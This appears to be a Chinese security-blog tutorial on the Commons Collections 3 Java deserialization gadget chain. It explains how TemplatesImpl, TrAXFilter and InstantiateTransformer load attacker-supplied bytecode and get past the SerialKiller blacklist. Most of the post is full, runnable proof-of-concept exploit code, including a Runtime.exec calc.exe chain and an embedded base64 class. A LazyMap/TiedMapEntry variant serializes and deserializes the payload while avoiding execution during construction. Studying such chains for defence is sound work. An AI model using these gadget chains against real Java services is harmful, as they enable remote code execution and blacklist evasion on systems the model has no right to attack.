TemplatesImpl和CommonsCollections3
yearnxyl Lv2

What is CommonsCollections3?

在字节码的动态加载章节,可以通过TemplatesImpl#newTransformer()来加载字节码。

那么在实际的攻击中,该如何调用TemplatesImpl#newTransformer()

在CC1链学习时存在如下代码:通过ChainedTransformer#transform()可以实现任意命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

TemplatesImplChainedTransformer结合,来执行TemplatesImpl#newTransformer(),构造代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args)throws Exception {
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name",templates,"name");
SetFieldValue("_bytecodes",templates,new byte[][]{bytes});
SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,chainedTransformer);
outerMap.put("test","xxxx");
}
}

image

之后再结合CC1提到的AnnotationInvocationHandler便可以成功构造反序列化链。

Real CommonsCollections3

在ysoserial出现之后,随之而来的是一系列反序列化过滤器。

以SerialKiller为例,SerialKiller通过黑名单的形式来避免被反序列化攻击。如下图:

在SerialKiller诞生之初,通过将InvokerTransformer加入黑名单来避免任意命令执行。为了对抗SerialKiller,CC3诞生了。

image

看一下ysoserial中的CC3。核心代码如下:

1
2
3
4
5
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

这里用InstantiateTransformer替换InvokerTransformer

InstantiateTransformer#transform()如下:

其会获取参数input的构造方法。并将自身构造方法获取到的参数传递过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

很明显这里获取到的input是TrAXFilter, 查看其构造方法:

构造方法获取到的参数为Templates,在构造方法中会执行templates.newTransformer()。在这里就恰巧执行了TemplatesImpl#newTransformer(),触发了任意命令执行。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}

手写POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args)throws Exception {
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name",templates,"name");
SetFieldValue("_bytecodes",templates,new byte[][]{bytes});
SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,chainedTransformer);
outerMap.put("test","xxxx");
}
}

image

jdk>1.8.0_71

在第一段最后提到过:结合CC1提到的AnnotationInvocationHandler便可以成功构造反序列化链。

这里为什么没有提到“结合CC6中的TiedMapEntry”来构造反序列化链呢?

尝试使用TiedMapEntry构造POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryForCC3 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name",templates,"name");
SetFieldValue("_bytecodes",templates,new byte[][]{bytes});
SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
Map outerMap=new HashMap();
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"xxxx");
outerMap.put(tiedMapEntry,"test");
innerMap.remove("xxxx");

//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(outerMap);
objectInputStream.readObject();

}
}

执行结果如下:

image

回忆在CC6用TiedMapEntry执行任意命令的情况。当时执行命令时弹出了两个计算器。根据上面的返回结果来看,却只打印了一个Hello World!

这里的打印结果是本地执行outerMap.put(tiedMapEntry,"test")触发的,在打印完结果后,便会进行报错,导致无法进行序列化和反序列化。该如何解决?

直接上修改后的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryForCC3 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name",templates,"name");
SetFieldValue("_bytecodes",templates,new byte[][]{bytes});
SetFieldValue("_tfactory",templates,new TransformerFactoryImpl());

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer[] fakeTransformers=new Transformer[]{
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(fakeTransformers);
Map innerMap=new HashMap();
Map lazyMap= LazyMap.decorate(innerMap,chainedTransformer);
Map outerMap=new HashMap();
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"xxxx");
outerMap.put(tiedMapEntry,"test");
innerMap.remove("xxxx");
SetFieldValue("iTransformers",chainedTransformer,transformers);

//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(outerMap);
objectInputStream.readObject();
}
}

和原来的代码相比,增加了fakeTransformers,其没有实际意义,但可以避免本地运行时的命令执行。执行完outerMap.put()之后,再通过反射修改ChainedTransformer中的成员变量为真实的transformers,即可保证反序列化时的正常命令执行。

总结

CC3和CC1、CC6的区别:

1
2
3
4
5
6
Transformer[] transformers=new Transformer[]{
//new ConstantTransformer(templates),
new ConstantTransformer(TrAXFilter.class),
//new InvokerTransformer("newTransformer",null,null)
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};